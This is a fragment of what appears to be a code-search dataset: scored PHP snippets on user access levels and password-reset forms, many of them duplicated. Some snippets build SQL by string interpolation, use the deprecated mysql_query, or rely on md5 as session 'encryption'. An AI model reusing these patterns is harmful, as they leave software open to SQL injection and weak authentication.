(!array_key_exists($level, $role)) {\n\t\t\tthrow new Exception(\"Error de acceso\");\n\t\t\t\n\t\t}else{\n\t\t\treturn $role[$level];\n\t\t}\n\n\t}", "title": "" }, { "docid": "a36bdbe866b67becc969345d619be297", "score": "0.6225665", "text": "public static function getLevelOfUser($uid){\n $levels = UserCenterLevel::where('user_id', $uid)->lists('level_id');\n return $levels;\n }", "title": "" }, { "docid": "403f34e674094ae92b72485e9915ff32", "score": "0.62078726", "text": "function get_user_authorization_level() {\n\t\tif(is_user_authenticated()) {\n\t\t\treturn SecurityContext::getContext()->authorization_level;\n\t\t} else {\n\t\t\t// sure context initializes to 0 but if is_user_authenticated is\n\t\t\t// not called first, an authenticated user will have the incorrect\n\t\t\t// level 0 the if structure helps those who are speed reading and\n\t\t\t// ignoring long comments\n\t\t\treturn 0;\n\t\t}\n\t}", "title": "" }, { "docid": "b0c17356de32e59af111187693c27553", "score": "0.6188033", "text": "public function getLevel($UUID){\n\t\t$pdo = Logger::connect();\n\t\t$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\t\t$sql = \"Select Level from Admin where Admin_id = :uuid\";\n\t\t$q = $pdo->prepare($sql);\n\t\t$q->bindParam(':uuid',$UUID);\n\t\tif ($q->execute()){\n\t\t\t$row = $q->fetch(PDO::FETCH_ASSOC);\n\t\t\treturn $row[\"Level\"];\n\t\t}else{\n\t\t\treturn 0;\n\t\t}\n\t}", "title": "" }, { "docid": "f04efb48cd49736cd95711a93e1ef4a1", "score": "0.61841834", "text": "function getUserLevel($level, $plural = false) {\n $roles = [\n 'User', // 0\n '', // 1\n '', // 2\n 'Rejected muhtar', // 3\n 'Pending muhtar', // 4\n 'Muhtar', // 5\n 'Municipality Admin', // 6\n '', // 7\n '', // 8\n '', // 9\n 'Admin' // 10\n ];\n $result = $roles[$level];\n if ($plural != false) {\n $result .= 's';\n }\n return $result;\n}", "title": "" }, { "docid": "b0129376570a379072bada9e490ddaab", "score": "0.6181779", "text": "public function getLevel(){\n\t\treturn $this->_level;\n\t}", "title": "" }, { "docid": "028a9060e25de29082aa4365c6e0b76a", "score": "0.61784625", "text": "function SaveUserLevel() {\n\t\t$_SESSION[EWR_SESSION_AR_USER_LEVEL] = $this->UserLevel;\n\t\t$_SESSION[EWR_SESSION_AR_USER_LEVEL_PRIV] = $this->UserLevelPriv;\n\t}", "title": "" }, { "docid": "841d36a528a5fd47e16ebca02ad9b193", "score": "0.6169605", "text": "function GetUserLevelID($UserLevelName) {\n\t\tglobal $ReportLanguage;\n\t\tif (ewr_SameStr($UserLevelName, \"Administrator\")) {\n\t\t\treturn -1;\n\t\t} elseif ($ReportLanguage && ewr_SameStr($UserLevelName, $ReportLanguage->Phrase(\"UserAdministrator\"))) {\n\t\t\treturn -1;\n\t\t} elseif (ewr_SameStr($UserLevelName, \"Default\")) {\n\t\t\treturn 0;\n\t\t} elseif ($ReportLanguage && ewr_SameStr($UserLevelName, $ReportLanguage->Phrase(\"UserDefault\"))) {\n\t\t\treturn 0;\n\t\t} elseif ($UserLevelName <> \"\") {\n\t\t\tif (is_array($this->UserLevel)) {\n\t\t\t\tforeach ($this->UserLevel as $row) {\n\t\t\t\t\tlist($levelid, $name) = $row;\n\t\t\t\t\tif (ewr_SameStr($name, $UserLevelName))\n\t\t\t\t\t\treturn $levelid;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn -2; // Anonymous\n\t}", "title": "" }, { "docid": "2355a88cb32ea5a0cc81b2043f9410c9", "score": "0.6168052", "text": "public function getStudentRegisteringLevel($session)\n{\n\n\tif (!@$this->surname) {\n\t\t$this->load();\n\t}\n\tif (!@$this->academic_session_id) {\n\t\texit(\"student entry session must be set\");\n\t}\n\t//get the new level based on entry session\n\t//no class found, student has not registered before, trying to register for the very first time\n\t$entryMode = @$this->entry_mode;\n\t$entryLevel= @$entryMode->school_class_id;\n\n\tif (!$entryLevel) {\n\t\texit(\"entry mode not correctly set for student\");\n\t}\n\tif ($session==$this->academic_session_id) {\n\t\treturn $entryLevel;\n\t}\n\n\t$query=\"select count(*) as num from academic_session session where start_date between (select start_date from academic_session where id={$this->academic_session_id}) and (select start_date from academic_session where id =$session)\";\n\t$res = $this->query($query);\n\t$count = $res[0]['num']-1;\n\t$query=\"select school_class.id from school_class where class_order <=((select class_order from school_class where id=$entryLevel)+$count) order by class_order desc limit 1\";\n\t$result = $this->query($query);\n\t$id = $result[0]['id'];\n\treturn ($id)?$id:1;\n}", "title": "" }, { "docid": "ff9526c1f69eb59066b0af5eea7b0399", "score": "0.6142324", "text": "public function getLevel()\n {\n return $this->level;\n }", "title": "" }, { "docid": "ff9526c1f69eb59066b0af5eea7b0399", "score": "0.6142324", "text": "public function getLevel()\n {\n return $this->level;\n }", "title": "" }, { "docid": "ff9526c1f69eb59066b0af5eea7b0399", "score": "0.6142324", "text": "public function getLevel()\n {\n return $this->level;\n }", "title": "" }, { "docid": "ff9526c1f69eb59066b0af5eea7b0399", "score": "0.6142324", "text": "public function getLevel()\n {\n return $this->level;\n }", "title": "" }, { "docid": "ff9526c1f69eb59066b0af5eea7b0399", "score": "0.6142324", "text": "public function getLevel()\n {\n return $this->level;\n }", "title": "" }, { "docid": "ff9526c1f69eb59066b0af5eea7b0399", "score": "0.6142324", "text": "public function getLevel()\n {\n return $this->level;\n }", "title": "" }, { "docid": "ff9526c1f69eb59066b0af5eea7b0399", "score": "0.6142324", "text": "public function getLevel()\n {\n return $this->level;\n }", "title": "" }, { "docid": "ff9526c1f69eb59066b0af5eea7b0399", "score": "0.6142324", "text": "public function getLevel()\n {\n return $this->level;\n }", "title": "" }, { "docid": "ff9526c1f69eb59066b0af5eea7b0399", "score": "0.6142324", "text": "public function getLevel()\n {\n return $this->level;\n }", "title": "" }, { "docid": "ff9526c1f69eb59066b0af5eea7b0399", "score": "0.6142324", "text": "public function getLevel()\n {\n return $this->level;\n }", "title": "" }, { "docid": "ff9526c1f69eb59066b0af5eea7b0399", "score": "0.6142324", "text": "public function getLevel()\n {\n return $this->level;\n }", "title": "" }, { "docid": "8223483ca8913e18c44402a65226a439", "score": "0.6127878", "text": "function Get_UserLevelIndex( $user_id, $level_id ) {\n\t\t\tglobal $wpdb;\n\t\t\t$cache_key = $user_id . '_' . $level_id;\n\t\t\t$cache_group = $this->Tables->userlevels;\n\n\t\t\t$value = wlm_cache_get( $cache_key, $cache_group );\n\t\t\tif ( $value === false ) {\n\t\t\t\tif ( $level_id === '' ) {\n\t\t\t\t\t$query = \"SELECT `ID` FROM `{$this->Tables->userlevels}` WHERE `user_id`=%d\";\n\t\t\t\t} else {\n\t\t\t\t\t$query = \"SELECT `ID` FROM `{$this->Tables->userlevels}` WHERE `user_id`=%d AND `level_id`=%s\";\n\t\t\t\t}\n\t\t\t\t$query = $wpdb->prepare( $query, $user_id, $level_id );\n\t\t\t\t$row = $wpdb->get_row( $query );\n\t\t\t\tif ( ! is_object( $row ) ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\t$value = $row->ID;\n\t\t\t\twlm_cache_set( $cache_key, $value, $cache_group );\n\t\t\t}\n\t\t\treturn $value;\n\t\t}", "title": "" }, { "docid": "7cad452e180d2e27521f67a6da5bd26a", "score": "0.6116719", "text": "public function getLevel() {\n return $this->level;\n }", "title": "" }, { "docid": "57c28f575d7ef46c246e16cfc8a9de6a", "score": "0.6113842", "text": "function getPatientCurrentLevel($clinic_id, $user_id) {\n $checkaccess = ClassRegistry::init('AccessStaff');\n $tran = ClassRegistry::init('Transaction');\n $traData = $checkaccess->getAccessForClinic($clinic_id);\n $array_for_level_achive = array();\n //condition to check Accelerated reward program access for Pratice.\n if ($traData['AccessStaff']['tier_setting'] == 1) {\n $gettierAchivForPatient = ClassRegistry::init('TierAchievement');\n $currentdata = $gettierAchivForPatient->getCurrentTierForPatient($user_id, $clinic_id);\n if (!empty($currentdata)) {\n $alltrans = $tran->find('first', array(\n 'conditions' => array(\n 'Transaction.user_id' => $user_id,\n 'Transaction.clinic_id' => $clinic_id,\n 'Transaction.activity_type' => 'N',\n 'Transaction.date >=' => $currentdata['TierAchievement']['start_tier']\n ),\n 'fields' => array(\n 'SUM(Transaction.amount) AS points'\n ),\n 'group' => array(\n 'Transaction.user_id'\n )\n ));\n $allpoints = $alltrans[0]['points'];\n } else {\n $allpoints = 0;\n }\n $getListOfTier = ClassRegistry::init('TierSetting');\n $getcurrentpoint = $getListOfTier->getCurrentTierByPoints($clinic_id, $allpoints);\n if (isset($getcurrentpoint['TierSetting']['points'])) {\n $getlover = $getcurrentpoint['TierSetting']['points'];\n } else {\n $getlover = 0;\n }\n $currentpointinlevel = $allpoints - $getlover;\n $getnexttierpoints = $getListOfTier->getNextTier($clinic_id, $getlover);\n $levelpnt = $getnexttierpoints['TierSetting']['points'] - $getlover;\n $currentpersentlevel = number_format(($currentpointinlevel / $levelpnt) * 100, 2);\n\n if ($currentpersentlevel < 0) {\n $currentpersentlevel = 100;\n }\n if (empty($currentdata) || $currentdata['TierAchievement']['current_level'] == 0) {\n $firstTier = $getListOfTier->getFirstTier($clinic_id);\n $array_for_level_achive['tier_id'] = $firstTier['TierSetting']['id'];\n $array_for_level_achive['tier_name'] = $firstTier['TierSetting']['tier_name'];\n $array_for_level_achive['earning'] = $this->getEarningInPersent($firstTier['TierSetting']['multiplier_value'], $clinic_id);\n $nextTier = $getListOfTier->getNextTier($clinic_id, $firstTier['TierSetting']['points']);\n $array_for_level_achive['next_earning'] = $this->getEarningInPersent($nextTier['TierSetting']['multiplier_value'], $clinic_id);\n $array_for_level_achive['more_points'] = $firstTier['TierSetting']['points'] - $allpoints;\n $array_for_level_achive['persent_achive'] = $currentpersentlevel;\n } else {\n $tier_list_belong_to_clinic = $getListOfTier->getListOfTierByClinic($clinic_id);\n $count_tier = 1;\n foreach ($tier_list_belong_to_clinic as $list) {\n if ($currentdata['TierAchievement']['current_level'] == $count_tier) {\n $currentTier = $getListOfTier->getRecordById($list['TierSetting']['id']);\n $firstTier = $getListOfTier->getNextTier($clinic_id, $currentTier['TierSetting']['points']);\n if (empty($firstTier)) {\n $array_for_level_achive['tier_id'] = $currentTier['TierSetting']['id'];\n $array_for_level_achive['tier_name'] = $currentTier['TierSetting']['tier_name'];\n $array_for_level_achive['earning'] = $this->getEarningInPersent($currentTier['TierSetting']['multiplier_value'], $clinic_id);\n } else {\n $array_for_level_achive['tier_id'] = $firstTier['TierSetting']['id'];\n $array_for_level_achive['tier_name'] = $firstTier['TierSetting']['tier_name'];\n $array_for_level_achive['earning'] = $this->getEarningInPersent($firstTier['TierSetting']['multiplier_value'], $clinic_id);\n }\n $nextTier = $getListOfTier->getNextTier($clinic_id, $firstTier['TierSetting']['points']);\n if (!empty($nextTier)) {\n $array_for_level_achive['next_earning'] = $this->getEarningInPersent($nextTier['TierSetting']['multiplier_value'], $clinic_id);\n $array_for_level_achive['more_points'] = $firstTier['TierSetting']['points'] - $allpoints;\n } else {\n $array_for_level_achive['next_earning'] = '';\n if (empty($firstTier['TierSetting']['points'])) {\n $array_for_level_achive['more_points'] = 'achieved';\n } else {\n $array_for_level_achive['more_points'] = $firstTier['TierSetting']['points'] - $allpoints;\n }\n }\n $array_for_level_achive['persent_achive'] = $currentpersentlevel;\n }\n $count_tier++;\n }\n }\n }\n return $array_for_level_achive;\n }", "title": "" }, { "docid": "473d295464e5821a9d45b31ce04c57aa", "score": "0.6081405", "text": "function duplicate_post_get_copy_user_level() {\n\treturn get_option( 'duplicate_post_copy_user_level' );\n}", "title": "" }, { "docid": "316ce2cba94fca77d8eb26e5eff2975e", "score": "0.60694134", "text": "function get_level()\n {\n return $this->get_default_property(self :: PROPERTY_LEVEL);\n }", "title": "" }, { "docid": "c5b784d1664b45e84ea87fd8d783deea", "score": "0.6060403", "text": "public function getLevel() {\n\t\treturn $this->level;\n\t}", "title": "" }, { "docid": "dec69dfe734f9a2c363e99cb2db4f0aa", "score": "0.60591686", "text": "public function getLevel()\n\t{\n\t\treturn $this->level;\n\t}", "title": "" }, { "docid": "9d380b42364e17b5bb29dea4baf5a25a", "score": "0.6054288", "text": "function fgallery_access_level(){\n $role = fgallery_get_current_user_role();\n switch ($role) {\n case 'administrator':return 10;\n case 'editor':return 7;\n case 'author':return 2;\n default: return 2;\n }\n}", "title": "" }, { "docid": "2dc4ebea0abc4ceb500db4956dc87198", "score": "0.60502666", "text": "public function checkTargetUserLevel($uID)\n {\n global $db;\n\n $sql = $db->prepare(\"SELECT lvl_value as Value FROM users_usr JOIN levels_lvl ON usr_lvl_level=lvl_id WHERE usr_id=:id\");\n $sql->bindParam(':id', $uID);\n $sql->execute();\n\n $sql = $sql->fetch();\n\n return $sql;\n }", "title": "" }, { "docid": "1707a6969199005277c14cdb82cebff2", "score": "0.60490775", "text": "public function getLevel() {\r\n\t\treturn $this->level;\r\n\t}", "title": "" }, { "docid": "1dc924703b2cd6c8f0ba912b32eb887b", "score": "0.6048976", "text": "function dynamo_support_get_user_wlm_levels($user_id) {\n\tglobal $wpdb;\n\t$table = $wpdb->prefix.'wlm_options';\n\trequire_once('wlmapiclass.php');\n\t$apikey = $wpdb->get_var(\"SELECT option_value FROM $table WHERE option_name = 'WLMAPIKey'\");\n\t$wlmapi = new wlmapiclass(get_bloginfo('wpurl'), $apikey);\n\t$wlmapi->return_format = 'php';\n\t\n\t$response = $wlmapi->get('/members/'.$user_id);\n\t$response = unserialize($response);\n\t\n\t//Get User Level + Status\n\t\t$c = 0;\n\tforeach ($response['member'][0]['Levels'] as $l => $v) {\n\t\t$levels[$c]['id'] = $v->Level_ID;\n\t\t$levels[$c]['name'] = $v->Name;\n\t\t$levels[$c]['status'] = $v->Status[0];\n\t\t$c++;\n\t}\n\treturn $levels;\n}", "title": "" }, { "docid": "b372b4b3d759d9013c7c5d906ed883a3", "score": "0.60400665", "text": "public function getLevel() {\n return $this->level;\n }", "title": "" }, { "docid": "b372b4b3d759d9013c7c5d906ed883a3", "score": "0.60400665", "text": "public function getLevel() {\n return $this->level;\n }", "title": "" }, { "docid": "d87edad64c38f9741553a4aad9a150d0", "score": "0.6039911", "text": "public function accessLevel()\n {\n return $this->role->level ? $this->role->level + 1 : Null;\n }", "title": "" }, { "docid": "0817a74b1b7b60f39d8e2ac00663f176", "score": "0.6026418", "text": "public function getLevelId(){\n return $this->level_id;\n }", "title": "" }, { "docid": "d454b69e718553ffc75e718dfcd392c8", "score": "0.60239446", "text": "public function getLevel()\n {\n //Can actually be any state\n //$this->assertFunction([PinFunction::INPUT, PinFunction::OUTPUT]);\n\n list($bank, $mask, $shift) = $this->getAddressMask();\n //Record observed level and return\n $level = ($this->gpio_register[Register\\GPIO::$GPLEV[$bank]] & $mask) >> $shift;\n\n $this->setInternalLevel($level);\n\n return $level;\n }", "title": "" }, { "docid": "1067b3a6eac9b357f132f3ded1122344", "score": "0.6014331", "text": "function LoadUserLevel() {\n\t\tif (!is_array(@$_SESSION[EWR_SESSION_AR_USER_LEVEL]) || !is_array(@$_SESSION[EWR_SESSION_AR_USER_LEVEL_PRIV])) {\n\t\t\t$this->SetupUserLevel();\n\t\t\t$this->SaveUserLevel();\n\t\t} else {\n\t\t\t$this->UserLevel = $_SESSION[EWR_SESSION_AR_USER_LEVEL];\n\t\t\t$this->UserLevelPriv = $_SESSION[EWR_SESSION_AR_USER_LEVEL_PRIV];\n\t\t}\n\t}", "title": "" }, { "docid": "a10e09ffe3ca57a5171bc306d8bf73de", "score": "0.59833544", "text": "public function getLevel()\n {\n return isset($this->Level) ? $this->Level : null;\n }", "title": "" }, { "docid": "a6fb3845600a48a95b394463089be95a", "score": "0.5958291", "text": "public function level()\n\t{\n\t\treturn (int) $this->{$this->_level_column};\n\t}", "title": "" }, { "docid": "0e2a1dafaecb249aebe4d849be2c912a", "score": "0.59482443", "text": "public function getLevel()\n {\n return $this->Level;\n }", "title": "" }, { "docid": "fa0f01d4302e1643b746ee3f266896ec", "score": "0.59396464", "text": "public function getRoleLevel()\n {\n return ($role = $this->roles()->orderBy('level', 'DESC')->first()) ? $role->level : 0;\n }", "title": "" }, { "docid": "bf551f95325eb41d77a7535f32ef6439", "score": "0.5936821", "text": "public function getLevel(): Level\n {\n return $this->getPosition()->getLevel();\n }", "title": "" }, { "docid": "11e1b48d883f06083f34ff6232dec0e7", "score": "0.5916971", "text": "public function isUserLogedIn(){\n\n\t\t$user_id = Session::get('user_id');\n\n\t\treturn $user_id;\n\t\t\n\t}", "title": "" }, { "docid": "42d9786d0c2e1e8813f277a1aac4bed4", "score": "0.591598", "text": "function login_level( $param ){\n\t\tif( is_string($param) && !empty($param) ){\n\t\t\t\n\t\t \tif( $this->exist_value('user_level') == $param ) \n\t\t\t\treturn true;\n\t\t}\n\t\t\n\t\treturn false;\n\t}", "title": "" }, { "docid": "a26330de64047089e0a1c003bc311c1c", "score": "0.591507", "text": "public function getLevel() {\n\t\treturn (int)$this->level;\n\t}", "title": "" }, { "docid": "1dbb0b04a342c6866cf6c27c24f0ce42", "score": "0.5902962", "text": "function checklogin($level)\n {\n /* S encryption codes */\n global $database;\n global $User;\n switch( $level )\n {\n case 'admin':\n\n if ( isset($_SESSION['admin_email']) && isset($_SESSION['admin_lastlogin']) && isset($_SESSION['s_encryption_admin']) )\n {\n $s_encryption = md5(\"Sscript made by SHAKTI -UserLevel: admin admin_email : \".$_SESSION['admin_email'].' Last login : '.$_SESSION['admin_lastlogin']);\n\n if ( ($_SESSION['s_encryption_admin'] == $s_encryption) && $this->isTimeOut() )\n {\n return true;\n }\n else\n {\n return false;\n }\n }\n else\n {\n return false;\n }\n\n break;\n\n case 'user':\n\n if( isset($_SESSION['user_email']) && isset($_SESSION['user_lastlogin']) && isset($_SESSION['s_encryption']) )\n {\n $s_encryption = $s_encryption = md5(\"Sscript made by SHAKTI -UserLevel: user user_email : \".$_SESSION['user_email'].' Last login : '.$_SESSION['user_lastlogin']);\n\n if( ($_SESSION['s_encryption'] == $s_encryption ) && $this->isTimeOut() )\n {\n return true;\n }\n else\n {\n return false;\n }\n\n }\n else \n {\n return false;\n }\n\n break;\n }\n\n }", "title": "" }, { "docid": "8786828275a3413af4083dcd849f558b", "score": "0.5897527", "text": "function get_levels() { \n\n\tglobal $wpdb;\n\n // Get groups used by an user\n\t$sql_query = $wpdb->prepare(\n\t\t\"\n\t\tSELECT id, name\n\t\tFROM {$wpdb->prefix}pmpro_membership_levels\n\t\t\"\n\t\t,1\n\t);\n\n\treturn $wpdb->get_results($sql_query);\n\n}", "title": "" }, { "docid": "19ee01f24ae3b3ea6cfd27401a478373", "score": "0.58830255", "text": "function LoadCurrentUserLevel($Table) {\n\t\t$this->LoadUserLevel();\n\t\t$this->setSessionUserLevel($this->CurrentUserLevelPriv($Table));\n\t}", "title": "" }, { "docid": "609c6cca84988cb551a77b33708d7fe0", "score": "0.5877143", "text": "function GetUserLevelName($UserLevelID) {\n\t\tif (strval($UserLevelID) == \"-1\") {\n\t\t\treturn \"Administrator\";\n\t\t} elseif ($UserLevelID >= 0) {\n\t\t\tif (is_array($this->UserLevel)) {\n\t\t\t\tforeach ($this->UserLevel as $row) {\n\t\t\t\t\tlist($levelid, $name) = $row;\n\t\t\t\t\tif (strval($levelid) == strval($UserLevelID))\n\t\t\t\t\t\treturn $name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn \"\";\n\t}", "title": "" }, { "docid": "a312aebfc1062d28ff07ea4aeb40a1cb", "score": "0.58712023", "text": "public function getLevel()\n {\n logger()->info(__METHOD__);\n if($this->type == 'owner')\n {\n switch ($this->level) {\n case '1': $level = 'novice1'; \n break; \n case '2': $level = 'novice2'; \n break; \n case '3': $level = 'novice3'; \n break; \n case '4': $level = 'novice4'; \n break; \n case '5': $level = 'novice5'; \n break; \n case '6': $level = 'novice6'; \n break; \n case '7': $level = 'novice7'; \n break; \n case '8': $level = 'novice8'; \n break; \n case '9': $level = 'novice9'; \n break; \n default: $level = 'novice'; \n break;\n }\n }\n return trans('sovpal.'.$level);\n }", "title": "" }, { "docid": "6f65d1d78e0ea9a0a880263a86d408a5", "score": "0.58630407", "text": "private function isLogedin(){\n return $this->CI->session->userdata('rbac_gui_logedin');\n }", "title": "" }, { "docid": "b972a6eff4ebc4dd3ff2fe34d7e91741", "score": "0.58511466", "text": "function friendly_accesslvl($lvl) {\n\t$lvlLookup= \"SELECT level_name FROM core_access_levels WHERE access_level =\" . $lvl;\n\t$lvlData = mysql_query($lvlLookup) or die('Failed to return data: ' . mysql_error());\n\tlist($level_name) = mysql_fetch_array($lvlData, MYSQL_NUM);\n//return the data\nreturn $level_name;\n}", "title": "" }, { "docid": "ba1112417d1ea2a14507d5d1937a83fc", "score": "0.58424723", "text": "function GetUserLevelPrivEx($TableName, $UserLevelID) {\n\t\tif (strval($UserLevelID) == \"-1\") { // System Administrator\n\t\t\treturn 127; // Use new User Level values (separate View/Search)\n\t\t} elseif ($UserLevelID >= 0 || $UserLevelID == -2) {\n\t\t\tif (is_array($this->UserLevelPriv)) {\n\t\t\t\tforeach ($this->UserLevelPriv as $row) {\n\t\t\t\t\tlist($table, $levelid, $priv) = $row;\n\t\t\t\t\tif (strtolower($table) == strtolower($TableName) && strval($levelid) == strval($UserLevelID)) {\n\t\t\t\t\t\tif (is_null($priv) || !is_numeric($priv)) return 0;\n\t\t\t\t\t\treturn intval($priv);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn 0;\n\t}", "title": "" } ]
8dee43305c0d2fc43a2525e0bbd4508a
Form for forgot or change password
[ { "docid": "69c33cafe31c4ab8241f7a774a0e6464", "score": "0.0", "text": "public function getForgotPassword()\n {\n return View::make(Config::get('larauth::views.forgot'))\n ->with('errors', Session::get('errors'))\n ->with('processed', Session::get('processed'));\n }", "title": "" } ]
[ { "docid": "6f9e8f1e7294ec2096f1acb254277198", "score": "0.7973529", "text": "public function forgotPasswordAction()\n {\n $this->tag->setTitle(\"重设密码\");\n\n $form = new ForgotPasswordForm();\n\n if ($this->request->isPost()) {\n\n if ($form->isValid($this->request->getPost()) == false) {\n foreach ($form->getMessages() as $message) {\n $this->flash->error($message);\n }\n } else {\n\n $user = Users::findFirstByEmail($this->request->getPost('email'));\n\n if (!$user) {\n $this->flash->success('系统内没有找到这个账号');\n } else {\n\n $resetPassword = new ResetPasswords();\n $resetPassword->usersId = $user->id;\n\n if ($resetPassword->save()) {\n $this->flash->success('已发送一封重置密码邮件,请根据邮件指示重设你的密码');\n } else {\n foreach ($resetPassword->getMessages() as $message) {\n $this->flash->error($message);\n }\n }\n }\n }\n }\n\n $this->view->form = $form;\n }", "title": "" }, { "docid": "d4575b2f7e401e062ba14774ab6adf7e", "score": "0.7904611", "text": "public function password_form() {\n\t\tGLOBAL $TDTRAC_SITE;\n\t\t$form = new tdform(array( 'action' => \"{$TDTRAC_SITE}user/forgot/\", 'id' => 'forgot-pass-form'));\n\t\t\n\t\t$fesult = $form->addText(array('name' => 'tracemail', 'label' => 'E-Mail Address', 'placeholder' => 'Registered E-Mail Address'));\n\t\t\n\t\treturn $form->output('Send Reminder');\n\t}", "title": "" }, { "docid": "3adbcb42ed4bf8cdba86218381cddfb3", "score": "0.7799481", "text": "public function forgotAction()\n {\n $filter = Zend_Registry::get('getFilter');\n\n if (Zend_Auth::getInstance()->hasIdentity()) {\n $this->_helper->redirector->gotoRoute(array(), 'default', true);\n return;\n }\n\n if (!$filter->realm) {\n throw new Ot_Exception_Input('msg-error-realmNotFound');\n }\n\n $realm = $filter->realm;\n\n // Set up the auth adapter\n $authAdapter = new Ot_Model_DbTable_AuthAdapter();\n $adapter = $authAdapter->find($realm);\n $className = (string)$adapter->class;\n $auth = new $className();\n\n if (!$auth->manageLocally()) {\n throw new Ot_Exception_Access('msg-error-authNotSupported');\n }\n\n $form = new Zend_Form();\n $form->setAttrib('id', 'forgotPassword')->setDecorators(\n array(\n 'FormElements',\n array('HtmlTag', array('tag' => 'div', 'class' => 'zend_form')),\n 'Form',\n )\n );\n\n $hidden = $form->createElement('hidden', 'realm');\n $hidden->setValue($realm)->clearDecorators()->addDecorators(array(array('ViewHelper')));\n\n // Create and configure username element:\n $username = $form->createElement('text', 'username', array('label' => 'ot-login-form:username'));\n $username->setRequired(true)->addFilter('StringTrim');\n\n $submit = $form->createElement('submit', 'resetPasswordButton', array('label' => 'ot-login-forgot:linkReset'));\n $submit->setDecorators(array(array('ViewHelper', array('helper' => 'formSubmit'))));\n\n $cancel = $form->createElement('button', 'cancel', array('label' => 'form-button-cancel'));\n $cancel->setDecorators(array(array('ViewHelper', array('helper' => 'formButton'))));\n\n $form->addElements(array($username))->setElementDecorators(\n array(\n 'ViewHelper',\n 'Errors',\n array('HtmlTag', array('tag' => 'div', 'class' => 'elm')),\n array('Label', array('tag' => 'span')),\n )\n )->addElements(array($hidden, $submit, $cancel));\n\n if ($this->_request->isPost()) {\n if ($form->isValid($_POST)) {\n\n $account = new Ot_Model_DbTable_Account();\n $realm = $form->getValue('realm');\n $userAccount = $account->getAccount($form->getValue('username'), 'local');//$form->getValue('realm'));\n\n if (!is_null($userAccount)) {\n $loginOptions = array();\n $loginOptions = Zend_Registry::get('applicationLoginOptions');\n \n // Generate key\n $text = $userAccount->username . '@' . $userAccount->realm . '-' . time();\n $key = $loginOptions['forgotpassword']['key'];\n $iv = $loginOptions['forgotpassword']['iv'];\n $cipher = $loginOptions['forgotpassword']['cipher'];\n\n $code = bin2hex(mcrypt_encrypt($cipher, $key, $text, MCRYPT_MODE_CBC, $iv));\n\n $this->_helper->messenger->addSuccess('msg-info-passwordResetRequest');\n\n $loggerOptions = array('attributeName' => 'accountId', 'attributeId' => $userAccount->accountId);\n\n $this->_helper->log(Zend_Log::INFO, 'User ' . $username->getValue() . ' sent a password reset request.', $loggerOptions);\n\n $dt = new Ot_Trigger_Dispatcher();\n $dt->setVariables(array(\n 'firstName' => $userAccount->firstName,\n 'lastName' => $userAccount->lastName,\n 'emailAddress' => $userAccount->emailAddress,\n 'username' => $userAccount->username,\n 'resetUrl' => Zend_Registry::get('siteUrl') . '/login/password-reset/?key=' . $code,\n 'loginMethod' => $userAccount->realm,\n ));\n\n $dt->dispatch('Login_Index_Forgot');\n\n $this->_helper->redirector->gotoRoute(array('realm' => $realm), 'login', true);\n } else {\n $this->_helper->messenger->addError('msg-error-userAccountNotFound');\n }\n } else {\n $this->_helper->messenger->addError('msg-error-invalidFormInfo');\n }\n }\n\n $this->_helper->pageTitle('ot-login-forgot:title');\n $this->view->form = $form;\n }", "title": "" }, { "docid": "0d809347c994624eaa7eace7b14ad2da", "score": "0.7723282", "text": "public function forgotPasswordAction() {\n\t\t\n\t}", "title": "" }, { "docid": "435e264b3718d79082972a9fef212471", "score": "0.77114314", "text": "public function action_forgot_password()\n\t{\n\t\t$message = '';\n\t\treturn Response::forge(View::forge('startpage/forgot_password',array('message'=>$message)));\n\t}", "title": "" }, { "docid": "f6bf261bef9b85165923939b92575817", "score": "0.76439565", "text": "private function passwordForgot() {\n\t\t// checking if the user is logged in\n\t\tif (Misc::validateLogin()) Output::redirect();\n\n\t\t// checking if the form was submitted\n\t\tif (Forms::isSubmitted()) {\n\t\t\t// checking if the form fields were filled\n\t\t\tif (Forms::post($p, ['email'])) {\n\t\t\t\t// sanitizing data\n\t\t\t\t$p['email'] = filter_var($p['email'], FILTER_SANITIZE_EMAIL);\n\t\t\t\t// checking if the email entered is valid\n\t\t\t\tif (Validations::email($p['email'])) {\n\t\t\t\t\tif (($row = $this->user->selectWhere(['email' => $p['email']])) && $this->user->rowCount() === 1) {\n\n\t\t\t\t\t\t// generating confirmation code for email\n\t\t\t\t\t\t$code = Crypt::encryptBlowfish($row->id);\n\t\t\t\t\t\t// mailing the confirmation code\n\t\t\t\t\t\t$message = '<p>Reset your password by clicking on the link below<br><a href=\"' . URLROOT . '/users/password/reset/' . $code . '\">Reset password</a></p>';\n\t\t\t\t\t\tif (Misc::writeMessage($message, 'code.txt') || mail($p['email'], 'Reset your password', $message, 'From: [email protected]' . \"\\r\\n\")) {\n\t\t\t\t\t\t\t// updating the confirmation code\n\t\t\t\t\t\t\tif ($this->user->update($row->id, ['code' => $code, 'code_sent_on' => time()])) {\n\n\t\t\t\t\t\t\t\tOutput::success('Link to reset the password was successfully sent.');\n\t\t\t\t\t\t\t\tOutput::redirect('users');\n\n\t\t\t\t\t\t\t// error messages\n\t\t\t\t\t\t\t} else Output::error('Some error occurred. Try again');\n\t\t\t\t\t\t} else Output::error('Some error occurred while sending the mail. Try again');\n\t\t\t\t\t} else Output::error('This email is not registered');\n\t\t\t\t} else Output::error('Invalid email');\n\t\t\t} else Output::error('Please enter valid details in all form fields');\n\t\t}\n\n\t\tOutput::view('password_forgot');\n\t}", "title": "" }, { "docid": "b00c8391157073673105aeb8e2657262", "score": "0.76261586", "text": "public function forgotPassword()\n {\n return view(Config::get('confide::forgot_password_form'));\n }", "title": "" }, { "docid": "f1a59810626adc1c2998f4565c8d1770", "score": "0.7623971", "text": "public function change_password()\n {\n //\n return view(\"auth.reset\");\n //return view(\"users.reset\");\n }", "title": "" }, { "docid": "5d49639c0030554c640e0f940feed310", "score": "0.7617896", "text": "public function changepass_form() {\n\t\tGLOBAL $TDTRAC_SITE;\n\t\t$form = new tdform(array('action' => \"{$TDTRAC_SITE}user/password/\"));\n\t\t$result = $form->addPass(array('name' => 'newpass1', 'label' => 'New Password', 'placeholder' => 'Enter New Password'));\n\t\t$result = $form->addPass(array('name' => 'newpass2', 'label' => 'Verify Password', 'placeholder' => 'Verify New Password'));\n\t\treturn $form->output('Change Password');\n\t}", "title": "" }, { "docid": 